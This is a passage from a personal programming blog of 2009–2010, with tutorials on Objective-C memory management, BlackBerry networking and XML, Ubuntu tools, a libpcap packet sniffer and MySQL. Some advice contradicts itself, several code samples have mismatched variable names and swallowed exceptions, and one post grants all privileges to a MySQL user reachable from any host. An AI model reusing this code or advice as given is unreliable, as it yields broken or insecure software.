Releasing what is the big deal? If you are thinking like this I'll say think again :). This is another place where the Java and other language programmer get trapped while moving to Objective C. I know releasing is simple but keep in mind if you release the object in wrong place you are in big trouble. This normally happens in Objective C you release the objects thinking its not of use any more but be sure before doing so why because in case if you unknowingly refered to the same object again your program crashes showing you EXEC_BAD_ACCESS and you wont even know where this happened. You need to painful debugging to find out and some times even debugging wont resolve the issue. Thanks to the Apple for providing NSZombie and tools like Instruments, Shark and Malloc Debug which will reduce the pain for certain extent but not completely. In the sense it will give a clue on where thing is going wrong andThis normally happens in Objective C you release the objects thinking its not of use any more but be sure before doing so why because in case if you unknowingly refered to the same object again your program crashes showing you EXEC_BAD_ACCESS and you wont even know where this happened. finding and fixing it is upto you.
Some more points to be remembered
- As I mentioned you should release only those objects of which you are owner in the sense object created with init,alloc,retain etc. Never try to release them or you will corrupt memory leading to a program crash

If you are not able to figure out why your program is crashing use NSZombie rather than still trying to debug the program.

Becareful while using functions like mutableCopy you need to release the object after the function or it will lead to a leak. i.e obj1 = [[obj2 mutableCopy] autorelease]

Use property and synthesizers for the objects inside the class.

Well whatever points I mentioned here was my own personal experience. I never read the Memory Management guide from Apple but I suggest you folks to do it first. Since I had to learn things quickly I couldn't read it. And if I have told anything wrongly or there is something were I can improve my self please do comment. Your suggestions are precious for me :).

I feel Objective C should be introduced as part of academics in India since it makes students to learn basics of memory management which is most important thing to know before becomming a professional programmer. And Objective C is more OO than the C++. Concepts OOP will be more clear with Objective C than C++ but point should be noted that some concepts of OOP like abstractions are not included in Objective C but I feel abstraction is not required in normal scenarios :). According to me evethough its unmanaged language Objective C is still a beautiful language out there.
P.S When writing the article I was not aware of introduction of garbage collector n Objective C v2.0. So pardon me for my mistake but Objective C still remains unmanaged on the iPhone OS platform

Adding Translation Memory to Poedit

2010-01-09T22:59:00.000-08:00

Poedit is a cross-platform gettext catalogs(.po file) editor. In this post i'm going to explain how to add translation memory to the poedit. Translation memory helps to increase the speed of translation process. Here translation memory refers to previously translated .po file may be from other translators. Ok lets see how to do this.

1. First open the poedit and open Edit > Preferences and click on Translation Memory tab.

2. In the new window which appears set the path where you want poedit to store the translation memory DB. (default value is recommended).

3. Click Add button situated below the My Languages text area and select the language for which you want to add the translation memory. Multiple language translation memory can also be installed. Image below will give you clear picture on what i'm talking about.

4.After you are done with above mentioned 3 steps now you can click on the Generate Database button. This will bring up below shown window.

5. As you can see the window ask for specifying the folder where locale files are situated. You can just ignore this window and click on next.

6. Here in this window click on Add Files, and browse to the place where .po files for translation memory exists. You can select them all or one by one and click open. Once you click open the file name with its path appear in the window. Now you can click on finish and poedit starts scanning the .po files and create the translation memory for you.

P.S: This may take some time depending on number of .po files you have selected. Image below gives you picture of what I told in above step (Step 6)

Once everything is done open a .po file for translation and right click on any string, for the first time poedit will popup a box asking for the language for which it should look for translation memory DB. Select the language and and again right click on the string and you will get possible translations for the selected string. I repeat possible translations not correct translations all the time. Select the translated string if you think its the correct translation for the current string. Image below gives you a clear picture on what i'm talking about.

Few points to remember

1. What ever translated strings shown by poedit using translation memory are suggestions and may not be the proper translation so don't completely rely on it. Its there only to speed up translation process by giving you some idea on current string.

2. In case your poedit starts crashing when you try to use translation memory you may need to delete existing translation memory and recreate them all again from scratch.

Well thats all I wanted to say enjoy the translation process using poedit. C ya folks next time :)

Installing libxml on Ubuntu

2010-01-02T23:05:00.000-08:00

These day i've been working more on the XML files and I really love working with XML files. Libxml is one real good library out there for XML parsing and Creation. It was basically written as XML parser tool kit for GNOME but it can also be used outside the GNOME environment. It has been ported to wide variety of languages but it was basically written in C. In this post i'm just going to tell how to install the libxml on Debian based distro's.

For writing programs using libxml and compiling you need libxml2-dev package to be installed on your machine. To install the libxml2-dev use the following command

sudo apt-get install libxml2-dev

To compile your program with gcc you need to provide the linker flags to find out about compilation and linker flags libxml2 comes with a handy tool called xml2-config.

To print the pre-processor and compiler flags use the following command

xml2-config --cflags

To print the library linking information use the following command

xml2-config --libs

The linker option for gcc will be -lxml2. In my next post i'll be writing on how to create a simple XML file using libxml library, till then C'ya folks. :)

Resizing Large photos in Linux

2009-12-26T05:10:00.001-08:00

Last week Sunday went for small hiking with my collegues around Karkala my home town. We took around 350 odd photos with a 12MP camera. Each picture was about 1MB with resolution more than 3000pixels. I was trying to resize all these photos and Aravinda pointed me to image magick tool convert. But I had a problem here all picture names were in this format Picture xxx.jpg , space in the file name was causing problem. After searching for a while came accross rename command to rename the files by removing space in the file name. Here is how you do it

rename "s/ *//g" *.jpg

This renamed all the files to Picturexxx.jpg (here the xxx is a number). Next I used the following script to resize all the files at a time without loosing the quality


#!/bin/bash
for i in `ls *jpg`
do
convert -resize 700 -quality 100% "$i" "$i"
done

Well I'm happy now I saved a lot of space on my HDD and also uploaded photos easily to my picasa web albums. This is the reason why I like Linux more. It always comes with many amazing tools and you don't have to pay a penny for it.

Working with SOAP service using KSOAP from Blackberry

2009-11-22T20:32:00.000-08:00

You can easily work with any web service from using KSOAP library. Here i'm giving a sample code on how to do that. I'm not going to explain anything though ;)

String serviceUrl = "Replace with URL to webservice";
String serviceNameSpace = "Replace with namespace of web service";
String soapAction = "URL to method name";
String methodName = "Replace with Name of method";
SoapObject rpc = new SoapObject(serviceNamespace, methodName);
rpc.addProperty("number1", 10);
rpc.addProperty("number2", 20);
SoapSerializationEnvelope envelope = new  SoapSerializationEnvelope(SoapEnvelope.VER11);
envelope.bodyOut = rpc;
envelope.dotNet = true;//IF you are accessing .net based web service  this should be true
envelope.encodingStyle = SoapSerializationEnvelope.ENC;
HttpTransport ht = new HttpTransport(serviceUrl);
ht.debug = true;
ht.setXmlVersionTag("");
int result = null;
try
{
ht.call(soapAction, envelope);
result = (envelope.getResult());
}
catch(org.xmlpull.v1.XmlPullParserException ex2){
}
catch(Exception ex){
String bah = ex.toString();
}

Just note that SoapSerializationEnvelope.dotNet should be set to true for .NET based web service.

New Features in Ubuntu 9.10 (Karmic Koala)

2009-11-01T01:00:00.001-07:00

Finally I'm able to connect to internet from new Ubuntu 9.10 (Karmic Koala). After waiting for a year and half struggling with many distro's finally few tweeking arround helped me to dial my Huwei ETS 2288 WLL modem to internet from the Karmic Koala, I should thank Omshivaprakash's for his post on Hacking BSNL EvDo on Linux and Ubuntu forums. Well now comming to the point Ubuntu Karmic has got many new features with it, I'm going to write about few of them which amazed me.

1. The installation speed and Method : I should tell the installation screens with slide shows and the speed of installation impressed me very much. Till now propereitory OS like Windows and other Linux distribution like RHEL, Novel SUSE and Mandriva had this slide show features during installation. Due to this feature you won't feel bored any more during installation ;). Speed of installation is approximate 12 minutes on a Laptop with 2GB RAM. It took only 8 minutes after the partition, pretty awsome ah..

2.Boot up and Shutdown speeds : Unlike previous version boot up is pretty fast around 16 seconds with flashy screens. So is shutdown with in 2-3 seconds your system is off. This speed is reminded me of Mac Leopard only difference Mac is having Micro Kernel where as Ubuntu with Monolithic Kernel.

3. iBus : This feature impressed me pretty much old SCIM is now replace with iBus (Intelligent input Bus) which has all the language preloaded including Kannada. I didn't have to install any kannada fonts all were there in iBus by default. So for new users of Ubuntu who need local language doesn't have to undergo trouble of downloading and installing fonts and db's of any more, thanks to the Karmic team. Here is screen shot of the iBus in my system. Check out how the kannada fonts appears in firefox without installing any fonts by myself.

From Karmic Screen Shots

3. Ubuntu Software Center : Well I love this new interface to Add/Remove program now called as Ubuntu software center. I can install multiple software at the same time i mean while i'm installing one software I can go back select another software and install it, pretty nice feature.

4. Preloaded themes and Wall paper : Till now Ubuntu came with only 2 wall papers and few now there are many cool wall papers and themes checkout the following screen shot.

From Karmic Screen Shots

5. Cloud Computing support : Last but not the least the support for cloud computing starting with Ubunut One which allows you to share yor files, photos and videos with friends and family and also allows you to access it from any computer in any part of the world. Currently Ubuntu one provides 2GB space for free and for more space you may need to pay a little amount plus each Ubuntu has the Ubuntu one client which allows accessing your files from the system itself. One more feature is export option in F-Spot which allows you to directly upload the photos into Flickr, Picasa Web Albums etc. Check the following screen shots

From Karmic Screen Shots

Well there are several more new features, so go on download a Karmic CD install it and checkout for yourself ;)
Do promote Ubuntu by passing the CD to your friends. Enjoy the new experience with Karmic Koala.

Generating thumbnail from a captured image in Blackberry

2009-10-14T08:27:00.000-07:00

Blackberry OS v4.6 and later will allow you to directly interact with camera and capture images. Till OS v4.5 for capturing image you needed to invoke the default camera application present in Blackberry using Invoke api. After capturing you may want to display the image as a thumbnail to user so now you will have question how can you do this. Even I had this same question and looked into many forums but didn't get a satisfactory answer later when I saw the Blackberry api reference i found a function by name scaleImage32 under EncodedImage class. But I couldn't make it work properly since i had to convert my Bitmap image into EncodedImage and then use the function and get the Bitmap from this scaled image using getBitmap which is an expensive call requiring lot of processing along with that whatever i get as output of this function was only 4bytes which means there was some problem in my logic. After struggling a lot I looked at the class Bitmap in the JDE refernce i found the createBitmapFromBytes allowed scaling and this function worked perfectly fine. Below is the piece of code which does this work.

FileConnection fc = null;
InputStream  is = null;
int length;
byte[] data = null;
Bitmap thumbnail = null;

try {
fc = (FileConnection)Connector.open(filename);
is = fc.openInputStream();
if(fc.exists()) {
length = (int)fc.fileSize();
data = new byte[length];
fc.read(data,0,length);
thumnail = Bitmap.createBitmapFromBytes(data,0,length,20);
}
}
catch(Exception e)
{

}

Prototype of createBitmapFromBytes is as follows

static Bitmap createBitmapFromBytes(byte[] bytes, int offset, int length, int scale)

Here I've just mentioned the logic modify it to suite your needs. Your thumbnail will be returned as Bitmap object which you can use easily in your application.
One more thing I wanted to add here is scale factor to get thumbnail sized image your scale factor should be more than 20. C ya till next time

Managing data using XML in Blackberry

2009-10-11T01:56:00.000-07:00

XML files are good medium for storing and exchanging the data over the network and they are widely used in many technologies to store and exchange the data. A good example which I can provide here are the web services, configuration files of many java based application servers and java based web projects and also in the API's of famous social network sites like twitter.

It is easy to store the data as a XML file in application that you develop for the blackberry. Though there are storage options like record store and persistent objects available in Blackberry I prefer the XML files over them. Blackberry provides SAX parser for parsing and modifying XML but I felt little difficult to use SAX api so I choose KXML as best alternative for SAX. I'm going to tell how to create a XML file using KXML without loosing a sweat and parsing the already existing XML files.

1. Creating a simple XML file using KXML2 api's

Consider a simple XML file as shown below.

<? xml version="1.0" encoding="UTF-8" ?>
<company> <employee id="1"> <fname>Vasudev</fname> <lname>Kamath</lname> <address>Karkala</address> </employee> ... </company>

Use the below mentioned code for creating a xml file like above, the code itself is self explanatory.

Document d = new Document();
Element root = d.createElement("","company");
Element employee = d.createElement("","employee");
e.setAttribute("","id","1");

Element fname = d.createElement("","fname");
fname.addChild(Node.TEXT,"Vasudev");


Element lname = d.createElement("","lname");
lname.addChild(Node.TEXT,"Kamath");

Element address = d.createElement(Node.TEXT,"address");
address.addChild(Node.TEXT,"Karkala");

employee.addChild(Node.ELEMENT,fname);
employee.addChild(Node.ELEMENT,lname);
employee.addChild(Node.ELEMENT,address);

root.addChild(Node.ELEMENT,employee);
d.addChild(Node.ELEMENT,root);

Here first i'm creating a Document which is going to represent my XML file and then i'm creating the nodes required in my XML. The Node.ELEMENT represents and entire XML tag and its contents. For example is an XML Element and if you look at tag the content b/w opening and closing tag is simple text and is represented using Node.TEXT.

Next step is to write this document to the file for which we need KXmlSerializer which is part of KXML2 apis. Below is the code to write the document to file

String fileName = "file:///SDCard/Blackberry/company.xml"
DataOutputStream os = null;
FileConnection fc = null

try
{
fc = (FileConnection)Connector.open(filename,Connector.READ_WRITE);
if (! fc.exists())
fc.create();

os = fconn.openDataOutputStream();
KXmlSerializer serializer = new KXmlSerializer();
serializer.setOutput(os, "UTF-8");
d.write(serializer);
}

catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

As you can see it is very simple to create XML files using KXML2 api's and possibility of missing few ending tags while writing XML file is very less since API itself takes care of creating XML files.

Ok next step is parsing the XML file and it is also pretty simple.I'll tell how to read the XML file into a Document() object and parse it and functions required to get a particular node and its child node remaining logic you need to implement depending on your requirements. Below is the code for reading a file to Document and parsing it.

Document d= new Document();
FileConnection fc =  null;
DataInputStream is = null;
try {
fc = (FileConnection) Connector.open(fileName, Connector.READ);
is = fc.openDataInputStream();

KXmlParser parser = new KXmlParser();
parser.setInput(is, "UTF-8");
d.parse(parser);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (XmlPullParserException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}

This code gets the entire XML file to Document() object d and also parses it !!. Amazing rite you didn't even do a file read operation and yet have the whole content into Document() object. Well this is why I liked KXML more than SAX. If you are interested in seeing how it does you can get the source code of KXML2 api's and see. Now you have XML file in Document() object next how to get the required node? It is very simple you have function called getElement(String namespace,name) which gets particular node from its name in the XML file. There are many such functions available in KXML2 apis for more information look at its java doc here.

Last thing which I want to mention here is KXML library is meant not only for Blackberry but all those phones which supports J2ME. You need to have either KXML2 jar as library in your project or if you want to debug the KXML2 then you need to KXML2 source code and XML Pull parser source code. For more information on adding external library to your project please look at KB article in Blackberry website.

Reference : Stack Overflow forums

Posting Data via Http from Blackberry

2009-09-13T01:21:00.001-07:00

In this post i'm going to tel how to post the data to web services, don't misunderstand web service to SOAP services. I'm talking about normal webpages designed using jsp,php or asp or similar server side technology. We will be using URLEncodedPostData class fromnet.rim.blackberry.api.browser package to create a url encoded data which will be posted to webserver. For connecting to a particular website we will use HttpConnection class defined in javax.microedition.io package.

First let us see how to create URL encoded data to post to server using URLEncodedPostData class. I should remind you this is a signed class and requires code signing for loading the program into actual device. If you want to avoid this you need to write your own function to encode your data into URL Encoded format. Now lets see how to do this using URLEncodedPostData class

URLEncodedPostData _postData = new URLEncodedPostData("",false);
_postData.append("name","value");

First argument to constructor is encoding which is to be used leaving it as empty string means use default encoding. Second argument tells whether to use WAP conventions for encoding or not. append(String,String) function is used to create the URL encoded data. For example if your data is in the form fname=vasudev&lname=kamath then you can create this string by writing like this

_postData.append("fname","vasudev");
_postData.append("lname","kamath");

Now you know how to prepare your data lets move forward to creating connection to the webserver and then sending the prepared data using HTTP POST method. We will be using HttpConnection class for this purpose.

bytes [] postDataBytes = _postData.getBytes();
HttpConnection _httpCon = (HttpConnection)Connector.open(url);
_httpConnection.setRequestMethod(HttpConnection.POST);
_httpConnection.setRequestProperty("User-Agent","Profile/MIDP-2.0 Configuration/CLDC-1.0");
_httpConnection.setRequestProperty("Content-Language", "en-US");
_httpConnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded");
_httpConnection.setRequestProperty("Content-Length",(new Integer(postDataBytes.length)).toString());

setRequestMethod function tells which method is used to send data it can have 2 values either HttpConnection.GET or HttpConnection.POST. The "User-Agent" string tells webserver about the browser which is sending the data. All above mentioned properties are present in standard Http headers and more detail on them can be found in this link. Of all the properties important ones are last 2 i.e Content-Type and Content-Length if you forget to mention these to webserver will not be able to read the data you sent. Here Content-Type is set to "application/x-www-form-urlencoded" which tells webserver that request contains url encoded form data. If you are planning to send files in the request to browser you should set Content-Type to "multipart/form-data" instead of this if you use "application/x-www-form-urlencoded" you will get response code as 500 meaning internal server error. Now you have prepared HTTP header with all required fields next step is to write the data to webserver which is done as follows.

OutputStream os = _httpCon.openOutputStream();
os.write(_postData.getBytes());
os.flush(); // not required
int rc = _httpCon.getResponseCode(); //causes data to be sent to server and get response back

Depending on the response code you can do further processing. Response code for successful post will be 200 (HttpConnection.HTTP_OK) for more on response codes please see this link.

Here is a generic class which i designed for posting the data and getting response back in the form of string. Hope it will help you in your program. If there are any mistakes in my post or in the code or any improvement to the code please mention it as comment.

import java.io.*;
import javax.microedition.io.*;
import net.rim.blackberry.api.browser.URLEncodedPostData;
class HttpPost
{
    private String _url;
    private URLEncodedPostData _postData;
    private byte[] _data;
    private HttpConnection _httpConnection;
    private OutputStream os;
    private InputStream is;

    HttpPost(String url,URLEncodedPostData data) {
        _postData = postData;
        _url = url;
        try {
          _httpConnection = (HttpConnection)Connector.open(_url);
        } catch(Exception e) {
        }
    }

    public String postData() {
         try {
            bytes [] postDataBytes = _postData.getBytes();
            _httpConnection.setRequestMethod(HttpConnection.POST);
            _httpConnection.setRequestProperty("User-Agent","Profile/MIDP-2.0 Configuration/CLDC-1.0");
            _httpConnection.setRequestProperty("Content-Language", "en-US");
            _httpConnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded");
            _httpConnection.setRequestProperty("Content-Length",new Integer(postDataBytes.length).toString());
            os = _httpConnection.openOutputStream();
            os.write(_postDataBytes);
            
            int rc = _httpConnection.getResponseCode();
            if(rc == HttpConnection.HTTP_OK) {
                  is = _httpConnection.openInputStream();
                  is.read(_data);
            } else {
              _data = null;
            }
       } catch(Exception e) {
       }
       return (new String(_data));
    }
}

In my next post i'll show how XML files can be handled in blackberry using KXML library. Till then C'ya :)

(Note: In case you are not able to see the code properly because of template you can refer to my other blog here)

Blackberry Sample Application

2009-08-02T02:46:00.000-07:00

Blackberry uses custom J2ME so for developping application for BlackBerry you need to have JDE (Java DEvelopment Environment) from RIM (Research In Motion).

Its a common practise in any computer language we learn is to start with Hello World ! example. As usual i'm going to give a brief intro on BlackBerry application using a Hello World but i've added a bit more that is how to do screen navigation in blackberry application. Well below is the sample code which I prepared.

import net.rim.device.api.ui.*;
import net.rim.device.api.ui.container.*;
import net.rim.device.api.ui.component.*;
public class HelloWorldDemo extends UiApplication {
    private MainScreen _screen;
    private ButtonField _nextScreen;

    public static void main(String[] args) {
         HelloWorldDemo instance = new HelloWorldDemo();
         instance.enterEventDispatcher();
    }
    public HelloWorldDemo() {
         _screen = new MainScreen();
         _nextScreen = new ButtonField("Go to Next Screen",ButtonField.FIELD_HCENTER | ButtonField.CONSUME_CLICK);
         _nextScreen.setChangeListener(new FieldChangeListener() {
               public void fieldChanged(Field field,int context) {
                  pushScreen(new NextScreen());
               }
          });
          _screen.setTitle(new LabelField("Hello World Demo",LabelField.USE_ALL_WIDTH));
          _screen.add(new RichTextField("Hello to the BlackBerry World!",Field.NON_FOCUSABLE));
          _screen.add(_nextScreen);
          pushScreen(_screen);
   }
}
class NextScreen extends MainScreen {
    public NextScreen() {
          setTitle(new LabelField("Second Screen !",LabelField.USE_ALL_WIDTH));
          add(new RichTextField("This is new screen",Field.NON_FOCUSABLE));
          ButtonField _btnGoBack = new ButtonField("Go Back",ButtonField.FIELD_HCENTER | ButtonField.CONSUME_CLICK);
          _btnGoBack.setChangeListener(new FieldChangeListener() {
                public void fieldChanged(Field field,int context) {
                      UiApplication.getUiApplication().popScreen();
                }
               });
          add(_btnGoBack);
     }
}

Well blackberry uses different program structure than MIDLETs and is popularly called as RIMLETs or CLDC applications. Let me describe the structure of a CLDC application.

As you can see program has a public class which contains a main() method which is not there in MIDP applications. Normally most of the screen related operation is done in constructors and class containing main() method extends net.rim.device.api.ui.UiApplication class. In my example class HelloWorldDemo extends UiApplication. In the constructor for this class we create instance of NextScreen and push it on to display stack using pushScreen(Screen screen) method.

For designing a screen your class must either extend the Screen class or its subclasses or it should have instance of subclasses of Screen. Here the class NextScreen extends the MainScreen. To add a element to screen we use add(Field field) method. For adding menu items we can use addMenuItem(MenuItem menu) method. I've used add method to add a new RichTextField(non-editable) and a ButtonField.

Now you must be thinking how to know when button is clicked. For this you need to register a method using setFieldChangeListener(FieldChangeListener listener). Here FieldChangeListener is an interface with a method fieldChanged which I implemented by creating instance for interface there itself. Whatever is need to be done when button is clicked is written inside this method. As you can see I'm using popScreen method when button Go Back is clicked what this method does is poping the current screen from display stack i.e you will be seeing first screen when you click on go back button.

Below is the screen shots of the first application you developped.

Screen - 1

Screen - 2

Ok I have used JDE v4.5 since my system memory doesn't allow me to run the latest version JDEv4.7. And one good thing about BlackBerry is applications are always forward compatible so if you developed the application using v4.5 it will run without any problem in higher version but vice versa doesn't hold good :)

Installing GCC on Windows (MinGW)

2009-07-26T09:09:00.000-07:00

I wanted to install the GCC on Windows to compile some Objective C programs. Though there is Dev C++ from BloodShed developers but its development is froze back in 2005. So I planned to go with installing MinGW GCC on Windows XP. MinGW stands for Minimalist GNU for Windows. So I visited the wiki link of MinGW to find how to install GCC suite for Windows. There is manual installation but I suggest you to download the .exe file for installation. Well reason is its not easy to configure manually the settings required for GCC on Windows, I tried but got confused as to where to extract files and folders and which environment variables to set.

First download the MinGW-5.1.4.exe from this link . Then double click on the file click on next, select download and install option and click next. Click next and you will be provided with list of compilers available, by default it will be installing only MinGW32 runtime. Select compilers which you want and click next. Software will try to download the required archive files but it may fail to and tell you to check your internet connection this is because software is still in proposed state. So in that case download the following packages manually

GNU Binutils
GCC Version 3
MINGW Runtime
Windows 32 API

This is the required software for gcc if you want other compilers you can dowload them from the above link and select those software in installation screen. Note: You should keep these softwares in the same directory as the MinGW-5.1.4.exe.

In this case it wont go for download directly go for installation without any download. Once its done just add the bin directory to your Path variable so that you can use gcc any where on the system. Default installation path will be C:\MinGW.

Connecting to a remote MySQL database

2009-05-13T09:11:00.000-07:00

In my project I needed to connect proxy server program running on the client machine to the MySQL database on the server machine. Each time I was trying to connect to MySQL server I was getting error message saying

Access Denied to user net@ using password(yes)

I tried to find a solution and in one of the forums they had mentioned that to connect to MySQL DB from a remote machine we need to create a MySQL user on the server as

someuser@

Since my client program is designed to run on many client machine in parallel creating a user for each client is not feasible and also client machines will be getting IP address from DHCP its not possible to create user@.

Finally I tried the regular expression of SQL i.e. % which literally means anything (ip,hostname or anything). So I created a user in the server as follows

CREATE USER 'net'@'%' IDENTIFIED BY 'some password' GRANT ALL PRIVILEGES ON some_db.* TO 'net'@'%';

Well that did it now I'm able to access MySQL DB from any client machine. But be careful in providing privileges to this user since it can be accessed from anywhere providing all privileges may lead to serious security issues.

Parsing the Captured Packets : Packet Sniffer

2009-04-26T02:37:00.000-07:00

In my previous post I had mentioned about how to use pcap utilities for capturing packets. Now in this post I'm going to tell about how to parse the packet and get information from it. Before I explain the code there are few basic data structure that you need to know.
struct ether_header

This structure is located in netinet/if_ether.h. The main fields in this structure that we need are ether_shosht , ether_dhost, these are used to extract the source and destination mac addresses. You need to declare a pointer of type struct ether_header, you can assign packet by simply assigning the type casted pointer which points to the packet as shown below.

struct ether_header *eptr;
eptr = (struct ether_header *)packet; // packet is of type u_char *

I had a lot of trouble in extracting the mac address from the packet and storing it in the form x:x:x:x:x:x . I found my own crude way of doing it and was succeeded in it also. I did as follows.

i = ETHER_ADDR_LEN; // i = 6 bytes
ptr = ethernet_header->ether_shost;
do
{
sprintf(src_mac,"%s%x",(i == ETHER_ADDR_LEN)?" ":":",*ptr ++);
strcat(pktinfo->eth_src,src_mac);
}while(--i > 0);

The expression (i == ETHER_ADDR_LEN)?" ":":",*ptr ++) I got it from one of the references from tcpdump.org. But they were simply printing the value on to screen and I want to store them into variable. I tried using sprintf to copy value into the variable directly from the expression. But each time the value was getting replaced by new value so what I did was to concatenate the value entered into the variable by sprintf into a new variable. After the loop finishes execution 2nd variable contains the mac address in the form x:x:x:x:x:x.

Below is the code for the function I used to parse the ethernet header of the packet I captured.


void Parse_Etherenet_Header(struct pkt_info *pktinfo,const struct pcap_pkthdr pkthdr,const u_char *packet)
{
char src_mac[50],dest_mac[50];
struct ether_header *ethernet_header;
int i;
u_char *ptr;

src_mac[0] = dest_mac[0] = '\0';
/* Initialise the Time stamp */
strcpy(pktinfo -> tm_stmp,(char *)ctime((const time_t*)&pkthdr.ts.tv_sec));
pktinfo->tm_stmp[strlen(pktinfo->tm_stmp) - 1] = '\0';
ethernet_header = (struct ether_header *)packet;
/* Extract the Source Mac Address */
i = ETHER_ADDR_LEN; // i = 6 bytes
ptr = ethernet_header->ether_shost;
do
{
sprintf(src_mac,"%s%x",(i == ETHER_ADDR_LEN)?" ":":",*ptr ++);
strcat(pktinfo->eth_src,src_mac);
}while(--i > 0);
/* Extract the Destination Mac Address */
i = ETHER_ADDR_LEN;
ptr = ethernet_header->ether_dhost;
do
{
sprintf(dest_mac,"%s%x",(i == ETHER_ADDR_LEN)?" ":":",*ptr ++);
strcat(pktinfo->eth_dest,dest_mac);
}while(--i > 0);

}

If you folks find out any mistake in the code above or if you have better way to implement the above function do comment. :)

In my next post I'll discuss about parsing the rest of the packet that is IP, TCP/UDP portions.

Problem that most of Final year Engineering student's face

2009-04-19T03:15:00.000-07:00

Well I don't know how perfect i'm to write on this topic. I just want to share what does I think of this topic. This is my first non technical topic on the blog. As you all know in our final year engineering (8th semester) we need to do project. Following are the question students will get when they think of project

What is project actually means?
What project shall we do?
In which language we need to do?

and the set of questions will continue without any limit. Even I had this questions in my mind. Thanks to the IBM's TGMC project competition which allowed me find out answers for few of my questions, I submitted my so called 1st project in 7th semester to TGMC competition and also surprisingly got selected to 2nd round :)

TGMC project was completely based on IBM's technologies like WASCE, DB2 Eclipse(now opensource). This project really gave me exposure to all the new technology. Real benifit I gained was when I went for 2nd round project presentation in Bangalore which gave me idea of where we (students from South Canara) are actually standing compared to the students in Bangalore. Also it let me understand what are the mistakes we made in coding and understanding our project, standards which we should have followed during coding the project. "In simple words I'm benifited a lot from the TGMC event I can't say how much".

Next I should thank Hari Prasad Nadig an independent software developer, contributor to Evolution mail client and the person who started the Kannada community website Sampada. He taught me how to understand the problem statement of a project. How to start working on project. Previously during TGMC project I never thought of any of these points blindly jumped into coding. He even introduced me to most of the Linux technologies which allows you to tackle any problem.

Most of the students don't like to use Linux as platform for their project. According to them Linux is meant only for geeks and master minds. Others don't like to use Linux technologies beause you need to use your brain to do many tasks, on other hand if you use the technology like .NET you don't have to do many things just drag and drop and select options and it will write the code for you. For such students my question is what did you achive or learnt in doing your project other than learning how to use .NET ;). I'm not blaming them for using .NET technology its their wish but I like to do things on my own and give some work to my brain.

Now the main thing which I wanted it to discuss is some students still not sure what technology to use in their project even after 2 months of the semester is over. The main problem is they have some idea in their mind but it is not refined. What they need is a good guidance like one which I got from H.P Nadig or at least exposure to the events like TGMC and of the most is they should have some interest in the work they are doing. Though each team will be having a faculty guides, sometimes the faculty themselves lack such knowledge though they may be good in teaching.

Though we can clear the project phase of the engineering easily the main question which remains in the mind is what we have achived in our 4 year Engineering studies?.. (At least in few minds)

Packet sniffer using pcap utility

2009-03-30T08:35:00.000-07:00

As a part of my project I needed to do a packet sniffer. Ifirst thought of using RAW SOCKETS for this purpose but later found that they have portability issue. Then I came accross pcap utility from tcpdump.org. Each distro has support for this utility. You need to get package libpcap-dev (i.e pcap development package). I did the coding in Debian Lenny so I needed to execute following command to get pcap library for my system.

apt-get install libpcap*

To get the executable of your program you need to link it pcap library during the compilation which is done by providing -lpcap switch to the gcc or cc compiler.

gcc -ggdb main.c -o sniffer -lpcap

-ggdb switch generates file containing debugging symbols used by gdb utility.

Ok before jumping into coding part we need to know about few basic data structures and functions that we will use in the coding part. Let me start with a simple example.

#include <pcap.h>
int main(int argc,char **argv)
{
   pcap_t *handle;
   char *dev,errbuf[PCAP_ERRBUF_SIZE];
   u_char *packet;
   struct pcap_pkthdr hdr;
   dev = pcap_lookupdev(errbuf);
   if(dev == NULL){
     fprintf(stderr,"pcap_looupdev(): %s\n",errbuf);
     exit(1);
   }
   handle = pcap_open_live(dev,BUFSIZ,0,0,null);
   if(handle == NULL) {
     fprintf(stderr,"Failed to open %s\n",dev);
     exit(1);
   }
   while(1){
     packet = pcap_next(handle,&hdr);
     /* ...
      * Process the captured packet here
      */
   }
}

Here the pcap_t is integer data type (similar) which holds the handle for the opened network interface. The structure pcap_pkthdr is defined as follows( man page of pcap.h)

struct pcap_pkthdr {
   struct timeval ts; /* time stamp */
   bpf_u_int32 caplen; /* length of portion present */
   bpf_u_int32 len; /* length this packet (off wire) */
};

Well in my project I used only the time stamp field in this structure. Function pcap_lookupdev looks for the default interface of your system, so you don't have to worry about specifying interface to the program. If the function encounters error the error message is copied into the errbuf field. This function returs string i.e name of the interface in linux system default interface will be eth0.

The function pcap_open_live opens the specified device for reading (capturing the packet) it returns handle to the device which will be used later to capture the packet from the interface. Prototype is as follows (pcap.h man page)

pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms,char *ebuf)

Once this much is done you need to enter into infinite loop and use function pcap_next to capture packet. This function returns pointer to the captured packet, return type is u_char*. The prototype of function is as follows
u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h)

Once you have captured the packet next is to extract information from it. I'll explain in my next post about the extraction of protocol related fields from the packet. Till then bye and have a nice day :)

Importing a CSV Files into MySQL

2009-03-07T05:03:00.001-08:00

CSV stands for Coma separated Values. Normally in this file each field is separated from other using ",". Well as part of my project I created a sniffer which will be sitting on the gateway and captures all packet coming and going to and from it. I needed to record all the traffic which I capture. Bestway is to dump it into a log file. First I thought of using space as delimeter but our sir told its better to use CSV instead so I seperated each fields using coma's. As per the requirement of the project I needed to create different forms of graphs. First I thought of creating graphs statically at the end of each day by using the Crontab facility. But our sir wanted us to make this graph generation dynamically. Well using flat file which grows very fast really gave us a head ache. But I read in some site that I can easily import the CVS files into any application. I stumbled uppon the PHPMyAdmins import facility which supports importing data from CSV File. I got the query from PHPMyAdmin to do the job.

Let me tell how to import your log files into database.

1. Create a table with number of fields equal to number of fields in your fail.

2. Use the LOAD DATA command to get files content into table. Below is the syntax of the command

LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name'
    [REPLACE | IGNORE]
    INTO TABLE tbl_name
    [CHARACTER SET charset_name]
    [{FIELDS | COLUMNS}
        [TERMINATED BY 'string']
        [[OPTIONALLY] ENCLOSED BY 'char']
        [ESCAPED BY 'char']
    ]
    [LINES
        [STARTING BY 'string']
        [TERMINATED BY 'string']
    ]
    [IGNORE number LINES]
    [(col_name_or_user_var,...)]
    [SET  = expr,...]

For example my log file consisted of 8 fields. Format is shown below

timestamp,eth_src,ip_src,src_port,eth_dest,ip_dest,dest_port,protocol

I created table to consist these 10 fields with time stamp as primary key and used load data command as follows

